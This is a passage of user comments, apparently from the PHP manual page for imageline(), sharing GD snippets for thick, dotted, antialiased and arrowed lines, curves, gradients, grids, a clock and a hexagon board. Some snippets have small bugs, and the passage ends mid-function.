The most bold-line-functions i found have problems with lines in a certian direction (they draw smaller lines with some angles). To do a real bold line just use this function:

<?php
function imageBoldLine($resource, $x1, $y1, $x2, $y2, $Color, $BoldNess=2, $func='imageLine')
{
 $center = round($BoldNess/2);
 for($i=0;$i<$BoldNess;$i++)
 {
  $a = $center-$i; if($a<0){$a -= $a;}
  for($j=0;$j<$BoldNess;$j++)
  {
   $b = $center-$j; if($b<0){$b -= $b;}
   $c = sqrt($a*$a + $b*$b);
   if($c<=$BoldNess)
   {
    $func($resource, $x1 +$i, $y1+$j, $x2 +$i, $y2+$j, $Color);
   }
  }
 }
}
?>
allenn at hot dot ee 31-May-2010 02:55
Function drawing of a line by a brush uses midpoint circle algorithm..., if dullness I agree to remove :)))

<?php
//function drawLine(resource$image,int $x0,int $y0,int $x1,int $y1,int $lineWidth,int $color)
function drawLine($image,$x0, $y0,$x1, $y1,$radius,$color)
{
  $f = 1 - $radius;
  $ddF_x= 1;
  $ddF_y = -2 * $radius;
  $x= 0;
  $y = $radius;
    imageline($image,$x0, $y0 + $radius,$x1, $y1 + $radius,$color);
     imageline($image,$x0, $y0 - $radius,$x1, $y1 - $radius,$color);
    imageline($image,$x0 + $radius, $y0,$x1 + $radius, $y1,$color);
    imageline($image,$x0 - $radius, $y0,$x1 - $radius, $y1,$color);

  while($x< $y)
  {
    if($f >= 0)
    {
      $y--;
      $ddF_y += 2;
      $f += $ddF_y;
    }
    $x++;
    $ddF_x+= 2;
    $f += $ddF_x;
    imageline($image,$x0 + $x, $y0 + $y,$x1 + $x, $y1+ $y,$color);
       imageline($image,$x0 - $x, $y0 + $y,$x1 - $x, $y1 + $y,$color);
       imageline($image,$x0 + $x, $y0 - $y,$x1 + $x, $y1 - $y,$color);
       imageline($image,$x0 - $x, $y0 - $y,$x1 - $x, $y1 - $y,$color);
       imageline($image,$x0 + $y, $y0 + $x,$x1 + $y, $y1 + $x,$color);
       imageline($image,$x0 - $y, $y0 + $x,$x1 - $y, $y1 + $x,$color);
       imageline($image,$x0 + $y, $y0 - $x,$x1 + $y, $y1 - $x,$color);
       imageline($image,$x0 - $y, $y0 - $x,$x1 - $y, $y1 - $x,$color);

  }
}
header ('Content-type: image/png');
$img = imagecreatetruecolor(600,600);
$col = imagecolorallocate($img,0,255,252);
//use the function
rasterCircle($img,50, 50,540,540,40,$col);
imagepng($img);
imagedestroy($img);
?>
sbm007 at gmail dot com 15-Nov-2009 03:17
Here is a analog clock representation of the system time along with digits for hours and little dots for minutes/seconds:

<?php
$img = imagecreatetruecolor(450, 450);

$white = imagecolorallocate($img, 255, 255, 255);
$red = imagecolorallocate($img, 255, 0, 0);
$black = imagecolorallocate($img, 0, 0, 0);
$grey = imagecolorallocate($img, 211, 211, 211);

imagefill($img, 0, 0, $white);
imagearc($img, 224, 224, 400, 400, 0, 0, $black);
imagefilledarc($img, 224, 224, 15, 15, 0, 0, $black, IMG_ARC_PIE);

for ($zz = 0; $zz < 60; $zz++) {
    $digitCoords['x'][] = 175 * cos(deg2rad(($zz-10) * (360/60))) + 224;
    $digitCoords['y'][] = 175 * sin(deg2rad(($zz-10) * (360/60))) + 224;
}

for ($zz = 0; $zz < 60; $zz++) {
    if ($zz % 5 == 0)
        imagestring($img, 5, $digitCoords['x'][$zz] - 4, $digitCoords['y'][$zz] - 6, ($zz/5) + 1, $black);
    else
        imagefilledarc($img, $digitCoords['x'][$zz], $digitCoords['y'][$zz], 3, 3, 0, 0, $grey, IMG_ARC_PIE);
}

$seconds = date('s');
$minutes = date('i') + ($seconds/60);
$hours = date('h') + ($minutes/60);

$r_sec = 175;
$r_min = 175;
$r_hr = 125;

$x_sec = $r_sec * cos(deg2rad(($seconds-15) * (360/60))) + 224;
$y_sec = $r_sec * sin(deg2rad(($seconds-15) * (360/60))) + 224;

$x_min = $r_min * cos(deg2rad(($minutes-15) * (360/60))) + 224;
$y_min = $r_min * sin(deg2rad(($minutes-15) * (360/60))) + 224;

$x_hr = $r_hr * cos(deg2rad(($hours-3) * (360/12))) + 224;
$y_hr = $r_hr * sin(deg2rad(($hours-3) * (360/12))) + 224;

imageline($img, 224, 224, $x_sec, $y_sec, $red);
imagesetthickness($img, 3);
imageline($img, 224, 224, $x_min, $y_min, $black);
imagesetthickness($img, 5);
imageline($img, 224, 224, $x_hr, $y_hr, $black);

header("Content-type: image/png");
imagepng($img);

imagedestroy($img);
?>
Anonymous 12-Jul-2009 01:16
Here's another way of modifying likavcan's code to display filled arrows. This makes use of imagefilledpolygon(...) instead of recursive function calls.

<?php
function arrow($im, $x1, $y1, $x2, $y2, $alength, $awidth, $color) {
    $distance = sqrt(pow($x1 - $x2, 2) + pow($y1 - $y2, 2));

    $dx = $x2 + ($x1 - $x2) * $alength / $distance;
    $dy = $y2 + ($y1 - $y2) * $alength / $distance;

    $k = $awidth / $alength;

    $x2o = $x2 - $dx;
    $y2o = $dy - $y2;

    $x3 = $y2o * $k + $dx;
    $y3 = $x2o * $k + $dy;

    $x4 = $dx - $y2o * $k;
    $y4 = $dy - $x2o * $k;

    imageline($im, $x1, $y1, $dx, $dy, $color);
    imagefilledpolygon($im, array($x2, $y2, $x3, $y3, $x4, $y4), 3, $color);
}
?>
huirong dot jin at gmail dot com 01-Feb-2008 08:10
An example to draw Lissajous Curve (http://en.wikipedia.org/wiki/Lissajous_curve):
x = a1 * cos(t/T1);
y = a2 * sin(t/T2);

You can easily modify the codes to create your own oscilloscope application!

<?php
header ("Content-type: image/png");

$T1 = 20;
$T2 = 30;

$myImage = @imagecreatetruecolor(640, 480)
      or die("Cannot Initialize new GD image stream");
$text_color = imagecolorallocate($myImage, 255, 255, 224);
$poly_color = imagecolorallocate($myImage, 124, 120, 224);

//calculate x-value and y-value point by point
$points = array();
for ($i=0; $i<1000; $i=$i+1)
{
    //define curve's function
    $x = 310*cos($i/$T1); //define x-value
    $y = 230*sin($i/$T2);//define y-value

    //move the coordinate, append a point's x-value and y-value
    $points[] = 320+$x; //x-value
    $points[] = 240-$y;  //y-value
}

//count points
$totalPoints = count($points)/2;

//drawing title
$title = "Final Plot ($totalPoints points)";
imagestring($myImage, 3, 5, 5,  $title, $text_color);

/** drawing points one by one, notice if there
 * are 10 points, we need to draw 9 lines:
 * 1) point 0 to 1;
 * 2) point 1 to 2;
 * ...
 * ...
 * 9) point 8 to 9;
 */
for ($i=0; $i<$totalPoints-1; $i++)
{
    imageLine($myImage, $points[2*$i], $points[1+2*$i], $points[2+2*$i], $points[3+2*$i], $poly_color);
}

//finalizing
imagepng($myImage);
imagedestroy($myImage);
?>
huirong dot jin at gmail dot com 31-Jan-2008 01:57
An example to draw Amplitude Modulation curve: y = c * sin (x/a) * sin (x/b) . You can easily modify the codes to create your own oscilloscope application!

<?php
header ("Content-type: image/png");
$myImage = @imagecreatetruecolor(640, 480)
      or die("Cannot Initialize new GD image stream");
$text_color = imagecolorallocate($myImage, 255, 255, 224);
$poly_color = imagecolorallocate($myImage, 124, 120, 224);

//calculate x-value and y-value point by point
$points = array();
for ($i=1; $i<640; $i=$i+1)
{
    //define curve's function
    $x = $i; //define x-value, which is $i itself
    $y = 150*sin($x/80)*sin($x/5);//define y-value

    //append a point's x-value and y-value
    $points[] = $x; //x-value
    $points[] = 240-$y;  //y-value
}

//count points
$totalPoints = count($points)/2;

//drawing title
$title = "Final Plot ($totalPoints points)";
imagestring($myImage, 3, 5, 5,  $title, $text_color);

/** drawing points one by one, notice if there
 * are 10 points, we need to draw 9 lines:
 * 1) point 0 to 1;
 * 2) point 1 to 2;
 * ...
 * ...
 * 9) point 8 to 9;
 */
for ($i=0; $i<$totalPoints-1; $i++)
{
    imageLine($myImage, $points[2*$i], $points[1+2*$i], $points[2+2*$i], $points[3+2*$i], $poly_color);
}

//finalizing
imagepng($myImage);
imagedestroy($myImage);
?>
admin at xpmail dot net 30-Apr-2007 05:45
example of a Simple grid...
bool imagegrid ( resource $image, int $width, int $Height, int $size, mixed $color )

<?php
Header("Content-type: image/png");
$Width=450;
$Height=450;

$img = ImageCreateTrueColor($Width, $Height);

$bg = imagecolorallocate($img, 255, 255, 255);
imagefill($img, 0, 0, $bg);

$grid = imagecolorallocate($img, 225, 245, 249);

imagesetstyle($img, array($bg, $grid));
imagegrid($img, $Width, $Height, 10, IMG_COLOR_STYLED);
//makegrid($img, $Width, $Height, 10, $grid);

ImagePNG($img);
ImageDestroy($img);

function imagegrid($image, $w, $h, $s, $color)
{
    for($iw=1; $iw<$w/$s; $iw++){imageline($image, $iw*$s, 0, $iw*$s, $w, $color);}
    for($ih=1; $ih<$h/$s; $ih++){imageline($image, 0, $ih*$s, $w, $ih*$s, $color);}
}
?>
Jonathan W. 27-Apr-2007 01:15
I've modified the previous entry for drawing on a polar coordinate system to better represent angles based on a 360? whole circle bearing.

<?php

function imagepolarline($image,$x1,$y1,$length,$angle,$color)
{
    $x2 = $x1 + sin( deg2rad($angle) ) * $length;
    $y2 = $y1 + cos( deg2rad($angle+180) ) * $length;

    imageline($image,$x1,$y1,$x2,$y2,$color);
}

?>
pb_2001 at haefft dot de 04-Mar-2006 02:41
This is a function to make a dotted line. It accepts (it actually requires) 7 parameters and returns 1 if everything went OK and 0 if there was a problem.

int imagelinedotted ( resource im, int x1, int y1, int x2, int y2, int dist, int col )

imagelinedotted() draws a line from x1, y1 to x2, y2 (top left is 0, 0) in image im of colour col where dist defines the distance (measured in pixels) between one dot and another.

<?php
function imagelinedotted ($im, $x1, $y1, $x2, $y2, $dist, $col) {
    $transp = imagecolortransparent ($im);

    $style = array ($col);

    for ($i=0; $i<$dist; $i++) {
        array_push($style, $transp);        // Generate style array - loop needed for customisable distance between the dots
    }

    imagesetstyle ($im, $style);
    return (integer) imageline ($im, $x1, $y1, $x2, $y2, IMG_COLOR_STYLED);
    imagesetstyle ($im, array($col));        // Reset style - just in case...
}
?>
fatpratmatt at gmail dot com 30-Jan-2006 11:43
Here is a function which draws lines that cross at a specific point [It may need some tweaking]:

<?php
// Image Cross by Matt Evans
// $im - image resource
// $x - x coordinate where the lines should cross
// $y - y coordinate where the lines should cross
// $size - the length of each line
// $colour - the colour of the cross

function imagecross($im, $x, $y, $size = 5, $colour) {
imageline($im, $x+$size/2, $y+$size/2, $x-$size/2, $y-$size/2, $colour);
imageline($im, $x-$size/2, $y+$size, $x+$size/2, $y-$size, $colour);
}

// Example
imagecross($im, 50, 50, 5, $crosscolour);
?>
21-Oct-2005 07:30
imageline coordinate variables are documented as int ,  a value in decimal format will be truncated.

This may be useful when, for example, applying a non-integer scaling factor in generating an image.

Care should be taken to ensure this does not create significant errors that affect the quality of the image. For example :

<?php
$x=0.00000000001;$y=100;
imageline($img,0,0,0,$y+$x);
imageline($img,0,0,0,$y-$x);
?>

the first line will be straight , the second will have a step. Use round() where appropriate.
meid at gmx dot at 07-Sep-2005 10:39
Some simple code to draw lines with specific thickness using "imagefilledpolygon". Useful if your gdlib does not support "imagesetthickness".

<?
function dickelinie($img,$start_x,$start_y,$end_x,$end_y,$color,$thickness)
{
    $angle=(atan2(($start_y - $end_y),($end_x - $start_x)));

    $dist_x=$thickness*(sin($angle));
    $dist_y=$thickness*(cos($angle));

    $p1x=ceil(($start_x + $dist_x));
    $p1y=ceil(($start_y + $dist_y));
    $p2x=ceil(($end_x + $dist_x));
    $p2y=ceil(($end_y + $dist_y));
    $p3x=ceil(($end_x - $dist_x));
    $p3y=ceil(($end_y - $dist_y));
    $p4x=ceil(($start_x - $dist_x));
    $p4y=ceil(($start_y - $dist_y));

    $array=array(0=>$p1x,$p1y,$p2x,$p2y,$p3x,$p3y,$p4x,$p4y);
    imagefilledpolygon ( $img, $array, (count($array)/2), $color );
}
// Example:
header ("Content-type: image/jpeg");
$img = ImageCreate (210, 210) or die("Cannot Initialize new GD image stream ");
$backgroundcolor = ImageColorAllocate ($img, 255, 255, 255);
$orange = ImageColorAllocate($img, 252, 102, 4);
dickelinie($img, 10, 10, 10, 200,$orange,2);
dickelinie($img, 10, 200, 200, 10,$orange,2);
dickelinie($img, 200, 10, 200, 200,$orange,2);
imagejpeg($img);
ImageDestroy($img);

?>
d [AT] sprid [DOT] de 06-Sep-2005 03:12
Here my function do clear all problems. With this, you can draw firstly smooth lines (basic code adapted from code_couturier at graffiti dot net, with some performance changes). The special is, you can define the alpha-value of the line (0 = normal smooth line, 127 = fully transparent). Change whatever you want to make it better, but post your results ;)

<?php
/**
 * function imageSmoothAlphaLine() - version 1.0
 * Draws a smooth line with alpha-functionality
 *
 * @param   ident    the image to draw on
 * @param   integer  x1
 * @param   integer  y1
 * @param   integer  x2
 * @param   integer  y2
 * @param   integer  red (0 to 255)
 * @param   integer  green (0 to 255)
 * @param   integer  blue (0 to 255)
 * @param   integer  alpha (0 to 127)
 *
 * @access  public
 *
 * @author  DASPRiD <d@sprid.de>
 */
function imageSmoothAlphaLine ($image, $x1, $y1, $x2, $y2, $r, $g, $b, $alpha=0) {
  $icr = $r;
  $icg = $g;
  $icb = $b;
  $dcol = imagecolorallocatealpha($image, $icr, $icg, $icb, $alpha);

  if ($y1 == $y2 || $x1 == $x2)
    imageline($image, $x1, $y2, $x1, $y2, $dcol);
  else {
    $m = ($y2 - $y1) / ($x2 - $x1);
    $b = $y1 - $m * $x1;

    if (abs ($m) <2) {
      $x = min($x1, $x2);
      $endx = max($x1, $x2) + 1;

      while ($x < $endx) {
        $y = $m * $x + $b;
        $ya = ($y == floor($y) ? 1: $y - floor($y));
        $yb = ceil($y) - $y;

        $trgb = ImageColorAt($image, $x, floor($y));
        $tcr = ($trgb >> 16) & 0xFF;
        $tcg = ($trgb >> 8) & 0xFF;
        $tcb = $trgb & 0xFF;
        imagesetpixel($image, $x, floor($y), imagecolorallocatealpha($image, ($tcr * $ya + $icr * $yb), ($tcg * $ya + $icg * $yb), ($tcb * $ya + $icb * $yb), $alpha));

        $trgb = ImageColorAt($image, $x, ceil($y));
        $tcr = ($trgb >> 16) & 0xFF;
        $tcg = ($trgb >> 8) & 0xFF;
        $tcb = $trgb & 0xFF;
        imagesetpixel($image, $x, ceil($y), imagecolorallocatealpha($image, ($tcr * $yb + $icr * $ya), ($tcg * $yb + $icg * $ya), ($tcb * $yb + $icb * $ya), $alpha));

        $x++;
      }
    } else {
      $y = min($y1, $y2);
      $endy = max($y1, $y2) + 1;

      while ($y < $endy) {
        $x = ($y - $b) / $m;
        $xa = ($x == floor($x) ? 1: $x - floor($x));
        $xb = ceil($x) - $x;

        $trgb = ImageColorAt($image, floor($x), $y);
        $tcr = ($trgb >> 16) & 0xFF;
        $tcg = ($trgb >> 8) & 0xFF;
        $tcb = $trgb & 0xFF;
        imagesetpixel($image, floor($x), $y, imagecolorallocatealpha($image, ($tcr * $xa + $icr * $xb), ($tcg * $xa + $icg * $xb), ($tcb * $xa + $icb * $xb), $alpha));

        $trgb = ImageColorAt($image, ceil($x), $y);
        $tcr = ($trgb >> 16) & 0xFF;
        $tcg = ($trgb >> 8) & 0xFF;
        $tcb = $trgb & 0xFF;
        imagesetpixel ($image, ceil($x), $y, imagecolorallocatealpha($image, ($tcr * $xb + $icr * $xa), ($tcg * $xb + $icg * $xa), ($tcb * $xb + $icb * $xa), $alpha));

        $y ++;
      }
    }
  }
} // end of 'imageSmoothAlphaLine()' function
?>
Tyron 02-May-2005 11:50
// Here's a function for drawing a rotated gradient Rectangle (based on a previous note)

// Create An Image 255x255
$img = ImageCreateTrueColor(255, 255);

GradientRect($img,50,50,80,80,30);

ImagePng($img,"test.png");
ImageDestroy($img);
echo "<br><img src=\"test.png\">";

function GradientRect($img, $x1, $y1, $x2, $y2, $wdt) {
  $alpha = atan2($y2-$y1,$x2-$x1);
  $real_wdt = $wdt*sin($alpha);
  $real_hgt = $wdt*cos($alpha);
  echo "real wdt:".$real_wdt;
  echo "<br>real hgt:".$real_hgt;
  echo "<br>angle: ".($angle*180/pi());
  $plotD = 0;
  $i=0;

  $dy = $real_hgt/$wdt;
  $dx = $real_wdt/$wdt;
  $drgb= 256/$wdt;
  while($i++ < $wdt) {
    // Draw a line and move it down and make it lighter to get the gradient effect
    ImageLine($img, $x1-$i*$dx, $y1+$i*$dy, $x2-$i*$dx, $y2+$i*$dy, ImageColorAllocate($img, $i*$drgb, 0, 0));
    ImageLine($img, $x1-$i*$dx+1, $y1+$i*$dy, $x2-$i*$dx+1, $y2+$i*$dy, ImageColorAllocate($img, $i*$drgb, 0, 0));

  }
}
ajreading at classixshop dot com 23-Apr-2005 07:28
<?php
// An easy bit of code showing how you can use the ImageLine() function to create gradients

// Create An Image 255x255
$img = ImageCreateTrueColor(255, 255);

$plotD = 0;
while($plotD < 256)
{
    // Draw a line and move it down and make it lighter to get the gradient effect
    ImageLine($img, 0, $plotD , 255, $plotD, ImageColorAllocate($img, $plotD, $plotD, $plotD));
    $plotD++;
}
Header("Content-type: image/png");
ImagePng($img);
ImageDestroy($img);
?>
eviloverlord at gmail dot com 27-Jan-2005 07:50
This code is used to draw a board of hexagons (for games, classes, etc.)

<?php
//Draws a hexagonal board

// User-defined values
$maxTiles = 7;                    //The number of tiles at the center (widest part) of the board
$minTiles = 4;                    //The number of tiles at the edges of the board
$side = 30;                        //The length of the sides of the tiles in pixels
$bgColor = array(0, 0, 0);        //The background color in RGB format
$fgColor = array(255, 255, 255);//The foreground color in RGB format

//Calculated values
$widthInTiles = range($maxTiles, $minTiles);            //In our example: 7, 6, 5, 4
$rowsInTiles = count($widthInTiles)*2-1;                //the total number of rows on our board
$xSide = $side*sin(deg2rad(60));                        //the length of the x-part of the angled sides
$ySide = $side*sin(deg2rad(30));                        //the length of the y-part of the angled sides
$boardWidth = $xSide*$widthInTiles[0]*2;                //The entire width of the board
$boardHeight = $rowsInTiles*($side + $ySide) + $ySide;    //The entire height of the board

// create a blank image and allocate the foreground, background colors
$image = imagecreate($boardWidth, $boardHeight);
$bg = imagecolorallocate($image, $bgColor[0], $bgColor[1], $bgColor[2]);
$fg = imagecolorallocate($image, $fgColor[0], $fgColor[1], $fgColor[2]);

// draw the board
$row = 0;
foreach($widthInTiles as $tiles)
{
    for ($i = 0; $i < $tiles+1; $i++)
    {
        $x1 = $row*$xSide + $i*$xSide*2;
        $y1 = $boardHeight/2;
        $y1Dif = ($side/2) + $row*($side+$ySide);

        $x2 = $x1 + $xSide;
        $y2 = $y1;
        $y2Dif = $ySide;

        $x3 = $x2 + $xSide;

        if ($i < $tiles)
        {
            imageline($image, $x1, $y1 - $y1Dif, $x2, $y2 - $y1Dif - $y2Dif, $fg);
            imageline($image,  $x1, $y1 + $y1Dif, $x2, $y2 + $y1Dif + $y2Dif, $fg);
            imageline($image, $x2, $y2 - $y1Dif - $y2Dif, $x3, $y1 - $y1Dif, $fg);
            imageline($image, $x2, $y2 + $y1Dif + $y2Dif, $x3, $y1 + $y1Dif, $fg);
        }

        imageline($image, $x1, $y1 - $y1Dif, $x1, $y1 - $y1Dif + $side, $fg);
        imageline($image, $x1, $y1 + $y1Dif, $x1, $y1 + $y1Dif - $side, $fg);
    }
    $row++;
}

// output the picture
header("Content-type: image/png");
imagepng($image);
imagedestroy($image);
?>
Lionel Van Bemten 22-May-2004 03:41
here is a code to draw a "degraded" ... :
<?
header("Content-type : image/jpeg");

$image = @ImageCreate(200, 100)
  or die ("Erreur de cr?ation de l'image");

$lignes_colorees = 1;
$couleur_fond = ImageColorAllocate($image, 255, 255, 255);

$rouge_depart = 100;
$vert_depart = 255;
$bleu_depart = 0;

$rouge_fin = 0;
$vert_fin = 100;
$bleu_fin = 0;

$lignes = 100; //nb de lignes de l'image

$vert_diff = $vert_fin - $vert_depart;
$vert1 = $vert_diff / $lignes;

$bleu_diff = $bleu_fin - $bleu_depart;
$bleu1 = $bleu_diff / $lignes;

$rouge_diff = $rouge_fin - $rouge_depart;
$rouge1 = $rouge_diff / $lignes;

while ($lignes_colorees <= 100)
{
    $rouge2 = $lignes_colorees * $rouge1;    $rouge3 = $rouge_depart + $rouge2;
    $rouge = round($rouge3);

    $vert2 = $lignes_colorees * $vert1;
    $vert3 = $vert_depart + $vert2;
    $vert = round($vert2);

    $bleu2 = $lignes_colorees * $bleu1;
    $bleu3 = $bleu_depart + $bleu2;
    $bleu = round($bleu2);

    $y1 = $lignes_colorees;
    $y2 = $lignes_colorees;
    $x1 = 1;    $x2 = 200;

    $couleur = ImageColorAllocate($image, $rouge, $vert, $bleu);
    //dessine la ligne
    ImageLine($image, $x1, $y1, $x2, $y2, $couleur);    $lignes_colorees ++;
}

//dessine l'image
ImageJpeg($image);
?>
ruturaj_v at yahoo dot com 14-May-2004 08:48
here is a function that helps you create arrows...

<?php
function get_arrowheads ($x1, $y1, $x2, $y2, $arrhead, $arrang) {
    $debug = false;

    define("INFINITE", 'INFINITE');
    if (($x2-$x1)==0) {
        if ($y1 == 0) {
            $slope = 0;
        } else {
            $slope = INFINITE;
        }
    } else {
        $slope = -($y2-$y1)/($x2-$x1);
    }

    //$slope = number_format($slope, 2, '.','');
    if ($slope == 'INFINITE') {
        $ang = 90;
    } else {
        $ang = atan ($slope);
        $ang = ($ang * 180)/pi();
    }
    //$ang = number_format($ang, 2, '.', '');
    //echo ($ang);
    //exit;

    //convert the angle
    $arrang1 = ($ang - $arrang);
    $arrangdeg1 = ($ang - $arrang);
    //echo ($arrang1);exit;
    $arrang1 = ($arrang1*pi())/180;

    $arrang2 = ($ang + $arrang);
    $arrangdeg2 = ($ang + $arrang);
    $arrang2 = ($arrang2*pi())/180;
    //echo ($arrang1);

    $arx1 = (floor(cos($arrang1)*$arrhead));
    $ary1 = (floor(sin($arrang1)*$arrhead));
    $arx2 = (floor(cos($arrang2)*$arrhead));
    $ary2 = (floor(sin($arrang2)*$arrhead));
    if ($debug) {
        echo ("Values of arx1.. before add/sub</br>");
        echo ("$arx1,$ary1&nbsp;&nbsp;&nbsp;$arx2,$ary2</br>");
    }
    if ($ang==0) {
        if ($x2 > $x1) {
            $arx1 = $x2 - $arx1;    $ary1 = $y2 - $ary1;
            $arx2 = $x2 - $arx2;    $ary2 = $y2 - $ary2;
        } elseif ($x2 < $x1) {
            $arx1 = $x2 + $arx1;    $ary1 = $y2 - $ary1;
            $arx2 = $x2 + $arx2;    $ary2 = $y2 - $ary2;
        }
    }
    if ($ang > 0 && $ang < 90) {
        if (($x2 > $x1) && ($y2 < $y1)) {
            $arx1 = $x2 - $arx1;    $ary1 = $y2 + $ary1;
            $arx2 = $x2 - $arx2;    $ary2 = $y2 + $ary2;
        } elseif (($x2 < $x1) && ($y2 > $y1)) {
            $arx1 = $x2 + $arx1;    $ary1 = $y2 - $ary1;
            $arx2 = $x2 + $arx2;    $ary2 = $y2 - $ary2;
        }
    }
    if ($ang==90) {
        if (($y2 > $y1)) {
            $arx1 = $x2 - $arx1;    $ary1 = $y2 - $ary1;
            $arx2 = $x2 - $arx2;    $ary2 = $y2 - $ary2;
        } elseif (($y2 < $y1)) {
            $arx1 = $x2 - $arx1;    $ary1 = $y2 + $ary1;
            $arx2 = $x2 - $arx2;    $ary2 = $y2 + $ary2;
        }
    }
    if ($ang > -90 && $ang < 0) {
        if (($x2 > $x1) && ($y2 > $y1)) {
            $arx1 = $x2 - $arx1;    $ary1 = $y2 + $ary1;
            $arx2 = $x2 - $arx2;    $ary2 = $y2 + $ary2;
        } elseif (($x2 < $x1) && ($y2 < $y1)) {
            $arx1 = $x2 + $arx1;    $ary1 = $y2 - $ary1;
            $arx2 = $x2 + $arx2;    $ary2 = $y2 - $ary2;
        }
    }

    if ($debug) {
        echo ("Angle of line is (".$ang*180/pi().")</br>");
        echo ("Angle of line1 is $arrangdeg1</br>");
        echo ("Angle of line2 is $arrangdeg2</br>");
        echo ("$arx1,$ary1&nbsp;&nbsp;&nbsp;$x2,$y2</br>");
        echo ("$arx2,$ary2&nbsp;&nbsp;&nbsp;$x2,$y2");
        exit;
    }

    $array_arrows = array (
                    'x1' =>$arx1,
                    'y1' => $ary1,
                    'x2' => $arx2,
                    'y2' => $ary2
                    );
    return $array_arrows;

}

$x1 = 200; $y1 = 200;
$x2 = 400; $y2 = 100;
$arrhead = 15; //10px
$arrang = 10; //10 deg

$ar_arrws = get_arrowheads ($x1, $y1, $x2, $y2, $arrhead, $arrang);

$im  = imagecreate (400, 400);
$w   = imagecolorallocate ($im, 255, 255, 255);
$red = imagecolorallocate ($im, 255, 0, 0);

//creates the base line
imageline ($im, $x1, $y1, $x2, $y2, $green);
imageline ($im, $x1+1, $x2+1, $y1+1, $y2+1, $red);
imageline ($im, $x2, $y2, $ar_arrws['x1'], $ar_arrws['y1'], $green);
imageline ($im, $x2, $y2, $ar_arrws['x2'], $ar_arrws['y2'], $green);

?>
yl at sota dot ch 14-Apr-2004 09:44
Simple function to create border for jpg-images:

function createImageBorder($imgName){

     $img     =  substr($imgName, 0, -4); // remove fileExtension
     $ext     = ".jpg";
     $quality = 95;
     $borderColor = 255;  // 255 = white

    /*
     a                         b
     +-------------------------+
     |
     |          IMAGE
     |
     +-------------------------+
     c                         d
    */

    $scr_img = imagecreatefromjpeg($img.$ext);
    $width   = imagesx($scr_img);
    $height  = imagesy($scr_img);

        // line a - b
        $abX  = 0;
        $abY  = 0;
        $abX1 = $width;
        $abY1 = 0;

        // line a - c
        $acX  = 0;
        $acY  = 0;
        $acX1 = 0;
        $acY1 = $height;

        // line b - d
        $bdX  = $width-1;
        $bdY  = 0;
        $bdX1 = $width-1;
        $bdY1 = $height;

        // line c - d
        $cdX  = 0;
        $cdY  = $height-1;
        $cdX1 = $width;
        $cdY1 = $height-1;

       // DRAW LINES
        imageline($scr_img,$abX,$abY,$abX1,$abY1,$borderColor);
        imageline($scr_img,$acX,$acY,$acX1,$acY1,$borderColor);
        imageline($scr_img,$bdX,$bdY,$bdX1,$bdY1,$borderColor);
        imageline($scr_img,$cdX,$cdY,$cdX1,$cdY1,$borderColor);

      // create copy from image
        imagejpeg($scr_img, $img."_border.jpg", $quality);
        imagedestroy($scr_img);
  }

    createImageBorder("myfile.jpg");
mueller at inf dot ufsc dot br 05-Jan-2004 12:26
an algorithm to draw a bezier spline

<?php

$segmentos =30;
$x=array(0,10,80,30);
$y=array(0,10,40,50);

function bezier($p,$steps){
    $t = 1 / $steps;
    $temp = $t * $t;
    $ret = array();
    $f = $p[0];
    $fd = 3 * ($p[1] - $p[0]) * $t;
    $fdd_per_2=3*($p[0]-2*$p[1]+$p[2])*$temp;
    $fddd_per_2=3*(3*($p[1]-$p[2])+$p[3]-$p[0])*$temp*$t;
    $fddd = $fddd_per_2 + $fddd_per_2;
    $fdd = $fdd_per_2 + $fdd_per_2;
    $fddd_per_6 = $fddd_per_2 * (1.0 / 3);
    for ($loop=0; $loop<$steps; $loop++) {
        array_push($ret,$f);
        $f = $f + $fd + $fdd_per_2 + $fddd_per_6;
        $fd = $fd + $fdd + $fddd_per_2;
        $fdd = $fdd + $fddd;
        $fdd_per_2 = $fdd_per_2 + $fddd_per_2;
    }
    return $ret;
}

$by = bezier($y,$segmentos);
$bx = bezier($x,$segmentos);
header ("Content-type: image/jpeg");
$tam = 200;
$im = imagecreate($tam,$tam);
$background_color = imagecolorallocate ($im, 200, 200, 200);
$tc = imagecolorallocate ($im, 233, 14, 91);
for($i=0;$i<$segmentos-1;$i++)
    imageline($im,$bx[$i],$tam-$by[$i],$bx[$i+1],$tam-$by[$i+1],$tc);
imagejpeg($im);
imagedestroy($im);
?>
code_couturier at graffiti dot net 17-Oct-2003 11:56
# antialiased draw_line function 1.1 (faster)

# here is a drawLine() posted by nanobot at chipx86 dot com
# on php.net and enhanced/optimized by myself :)

# here are some changes i made:
# 1. changed for true-color images (no index_var used)
# 2. changed rgb extraction to logical shift
# 3. reducing function call's

function drawQSLine ($image,$x1,$y1,$x2,$y2,$r,$g,$b) {
$icr=$r;
$icg=$g;
$icb=$b;
 $dcol = ImageColorAllocate ($image,$icr,$icg,$icb);
 if ($y1 == $y2) imageline ($image,$x1,$y1,$x2,$y1,$dcol);
 else if ($x1 == $x2) {
   imageline ($image,$x1,$y1,$x1,$y2,$dcol);
 } else {
 $m = ($y2 - $y1) / ($x2 - $x1);
 $b = $y1 - $m * $x1;

 if (abs ($m) <2) {

 $x = min ($x1,$x2);
 $endx = max ($x1,$x2)+1;

 while ($x < $endx) {
 $y=$m * $x + $b;
 $y == floor ($y) ? $ya = 1 : $ya = $y - floor ($y);
 $yb = ceil ($y) - $y;

 $trgb = ImageColorAt($image,$x,floor($y));
 $tcr = ($trgb >> 16) & 0xFF;
 $tcg = ($trgb >> 8) & 0xFF;
 $tcb = $trgb & 0xFF;
 imagesetpixel ($image,$x,floor ($y),imagecolorallocate ($image,($tcr * $ya + $icr * $yb),
($tcg * $ya + $icg * $yb),
($tcb * $ya + $icb * $yb)));

 $trgb = ImageColorAt($image,$x,ceil($y));
 $tcr = ($trgb >> 16) & 0xFF;
 $tcg = ($trgb >> 8) & 0xFF;
 $tcb = $trgb & 0xFF;
 imagesetpixel ($image,$x,ceil ($y),imagecolorallocate ($image,($tcr * $yb + $icr * $ya),
($tcg * $yb + $icg * $ya),
($tcb * $yb + $icb * $ya)));

 $x ++;
 } # while_x_end
 } # if_end
 else { # else_abs_end

 $y = min ($y1,$y2);
 $endy = max ($y1,$y2)+1;

 while ($y < $endy) {
 $x=($y - $b) / $m;
 $x == floor ($x) ? $xa = 1 : $xa = $x - floor ($x);
 $xb = ceil ($x) - $x;

 $trgb = ImageColorAt($image,floor($x),$y);
 $tcr = ($trgb >> 16) & 0xFF;
 $tcg = ($trgb >> 8) & 0xFF;
 $tcb = $trgb & 0xFF;
 imagesetpixel ($image,floor ($x),$y,imagecolorallocate ($image,($tcr * $xa + $icr * $xb),
($tcg * $xa + $icg * $xb),
($tcb * $xa + $icb * $xb)));

